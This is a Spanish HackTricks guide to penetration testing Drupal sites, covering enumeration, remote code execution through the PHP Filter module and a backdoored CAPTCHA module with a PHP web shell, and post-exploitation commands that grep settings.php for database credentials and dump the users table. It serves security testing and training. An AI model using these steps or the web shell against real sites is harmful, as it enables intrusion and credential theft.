hacktricks/network-services-pentesting/pentesting-web/drupal.md

9.7 KiB

Drupal

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Descubrimiento

  • Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Nodo: Drupal indexa su contenido utilizando nodos. Un nodo puede contener cualquier cosa como una publicación de blog, encuesta, artículo, etc. Las URIs de página suelen tener la forma /node/<nodeid>.
curl drupal-site.com/node/1

Enumeración

Drupal admite tres tipos de usuarios de forma predeterminada:

  1. Administrador: Este usuario tiene control completo sobre el sitio web de Drupal.
  2. Usuario autenticado: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como agregar y editar artículos según sus permisos.
  3. Anónimo: Todos los visitantes del sitio web se designan como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.

Versión

  • Verificar /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Las instalaciones más recientes de Drupal por defecto bloquean el acceso a los archivos CHANGELOG.txt y README.txt. {% endhint %}

Enumeración de nombres de usuario

Registro

En /user/register simplemente intenta crear un nombre de usuario y si el nombre ya está tomado, se notificará:

Solicitar nueva contraseña

Si solicitas una nueva contraseña para un nombre de usuario existente:

Si solicitas una nueva contraseña para un nombre de usuario que no existe:

Obtener número de usuarios

Accediendo a /user/<number> puedes ver el número de usuarios existentes, en este caso es 2 ya que /users/3 devuelve un error de no encontrado:

Páginas ocultas

Fuzz /node/$ donde $ es un número (del 1 al 500, por ejemplo).
Podrías encontrar páginas ocultas (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.

Información de los módulos instalados

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automático

droopescan scan drupal -u http://drupal-site.local

RCE

Con el módulo PHP Filter

{% hint style="warning" %} En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter, que "permite evaluar fragmentos de código PHP incrustados". {% endhint %}

Necesitas que el plugin php esté instalado (verifica accediendo a /modules/php y si devuelve un 403, entonces existe, si no se encuentra, entonces el plugin php no está instalado)

Ve a Módulos -> (Verifica) PHP Filter -> Guardar configuración

Luego haz clic en Agregar contenido -> Selecciona Página básica o Artículo -> Escribe código shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa

Finalmente, solo accede al nodo recién creado:

curl http://drupal-site.local/node/3

Instalar el Módulo de Filtro PHP

A partir de la versión 8 en adelante, el Módulo de Filtro PHP no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.

  1. Descargue la versión más reciente del módulo desde el sitio web de Drupal.
    1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  2. Una vez descargado, vaya a Administración > Informes > Actualizaciones disponibles.
  3. Haga clic en Examinar, seleccione el archivo del directorio donde lo descargamos y luego haga clic en Instalar.
  4. Una vez instalado el módulo, podemos hacer clic en Contenido y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionar Código PHP desde el menú desplegable Formato de texto.

Módulo con Puerta Trasera

Un módulo con puerta trasera se puede crear agregando una shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elija un módulo como CAPTCHA. Desplácese hacia abajo y copie el enlace para el archivo tar.gz archivo.

  • Descargue el archivo y extraiga su contenido.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crear una shell web PHP con el contenido:
<?php
system($_GET["cmd"]);
?>
  • A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copie ambos archivos a la carpeta captcha y cree un archivo comprimido.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Suponiendo que tenemos acceso administrativo al sitio web, haga clic en Administrar y luego en Extender en la barra lateral. A continuación, haga clic en el botón + Instalar nuevo módulo, y se nos llevará a la página de instalación, como http://drupal-site.local/admin/modules/install. Busque el archivo de Captcha con puerta trasera y haga clic en Instalar.
  • Una vez que la instalación tenga éxito, navegue hasta /modules/captcha/shell.php para ejecutar comandos.

Post Explotación

Leer settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Volcar usuarios de la base de datos

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥